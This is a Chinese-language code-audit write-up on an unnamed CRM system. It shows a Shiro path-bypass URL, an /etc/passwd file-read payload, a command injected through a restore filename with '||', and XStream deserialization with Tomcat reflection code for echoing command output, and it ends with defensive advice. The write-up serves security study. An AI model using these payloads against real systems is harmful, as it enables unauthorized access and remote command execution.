某CRM代码审计之旅-多漏洞绕过与发现
字数 1102 2025-08-29 08:30:30
某CRM系统代码审计与漏洞利用分析
1. 权限绕过漏洞分析
1.1 漏洞背景
该系统使用Apache Shiro进行权限验证,配合Spring框架存在认证绕过漏洞。
1.2 漏洞原理
Shiro通过PathMatchingFilterChainResolver#getChain方法匹配路由和过滤器:
public FilterChain getChain(ServletRequest request, ServletResponse response, FilterChain originalChain) {
FilterChainManager filterChainManager = this.getFilterChainManager();
if (!filterChainManager.hasChains()) {
return null;
} else {
String requestURI = this.getPathWithinApplication(request);
// ...处理URI...
}
}
关键处理流程:
-
Shiro的
getRequestUri方法处理URL:decodeAndCleanUriString: 保留分号(;)前的路径normalize: 标准化路径(处理..、.等)
-
Spring的
UrlPathHelper处理URL:removeSemicolonContent: 移除分号内容- 最终处理为实际路径
1.3 漏洞利用
配置示例:
map.put("/home/**","anon"); // 无需认证
map.put("/admin/*","authc"); // 需要认证
构造恶意URL:
/home/..;/admin/xxx
处理流程:
- Shiro获取URI为
/home/..,匹配/home/**规则放行 - Spring处理为
/home/../admin/xxx→ 实际访问/admin/xxx
2. 任意文件读取漏洞
2.1 漏洞位置
在xxxLogController类的download方法:
public void download(String path, HttpServletRequest request, HttpServletResponse response) {
File file = new File(path);
InputStream fis = new BufferedInputStream(new FileInputStream(path));
// ...读取文件内容并返回...
}
2.2 漏洞复现
- 直接访问受保护端点会被重定向到登录页
- 使用权限绕过技术访问:
/home/..;/download?path=/etc/passwd
3. 命令执行漏洞
3.1 漏洞位置
在exeCommand方法:
private void exeCommand(String command) throws IOException {
Runtime runtime = Runtime.getRuntime();
Process exec = runtime.exec(command);
// ...
}
被doRestore方法调用:
public void doRestore(String fileName) {
String sbCommand = "cmd /c " + mysqlPath + "mysql -u" + username
+ " -p" + password + " -h" + host + " -P" + port
+ " -B " + database + " < " + exportPath + fileName;
this.exeCommand(sbCommand.toString());
}
3.2 漏洞利用
通过||操作符注入命令:
fileName = "test.sql || calc.exe"
最终执行:
cmd /c mysqlPath/mysql -u UserName -p Password -h host -P xx -B xx < test.sql || calc.exe
3.3 调用链
Controller层方法:
@RequestMapping("/restore")
public String doRestore(@RequestParam String fileName) {
this.backupService.doRestore(fileName);
// ...
}
4. XStream反序列化漏洞
4.1 漏洞位置
在WechatxxxService类中使用fromXML处理请求体:
XStream.fromXML(requestBody);
4.2 漏洞复现
使用XStream反序列化POC,利用TemplatesImpl类实现RCE。
4.3 回显技术
通过线程获取Request和Response对象:
-
获取线程:
Thread[] threads = (Thread[]) Thread.class.getMethod("getThreads").invoke(null); -
查找Tomcat工作线程:
http-nio-8080-Acceptorhttp-nio-8080-Poller
-
反射获取Request和Response:
// 从Acceptor线程获取NioEndpoint Field endpointField = acceptorTarget.getClass().getDeclaredField("endpoint"); Object endpoint = endpointField.get(acceptorTarget); // 获取ConnectionHandler Field handlerField = endpoint.getClass().getDeclaredField("handler"); Object handler = handlerField.get(endpoint); // 获取RequestGroupInfo Field globalField = handler.getClass().getSuperclass().getDeclaredField("global"); Object global = globalField.get(handler); // 获取Processor列表 Field processorsField = global.getClass().getDeclaredField("processors"); ArrayList processors = (ArrayList) processorsField.get(global); // 获取Request和Response Field reqField = processor.getClass().getDeclaredField("req"); Object request = reqField.get(processor); Object catalinaRequest = request.getClass().getMethod("getNote", int.class).invoke(request, 1); Object response = catalinaRequest.getClass().getMethod("getResponse").invoke(catalinaRequest); -
写回响应:
Writer writer = (Writer) response.getClass().getMethod("getWriter").invoke(response); writer.write(commandResult);
5. 防御建议
-
Shiro权限绕过:
- 升级Shiro到最新版本
- 实现自定义的
PathMatchingFilterChainResolver
-
任意文件读取:
- 校验文件路径
- 使用白名单限制可访问目录
-
命令执行:
- 避免直接拼接命令
- 使用参数化查询
-
反序列化:
- 升级XStream版本
- 配置安全框架限制反序列化类
- 使用JSON替代XML
-
通用防御:
- 实施严格的输入验证
- 遵循最小权限原则
- 定期安全审计和代码审查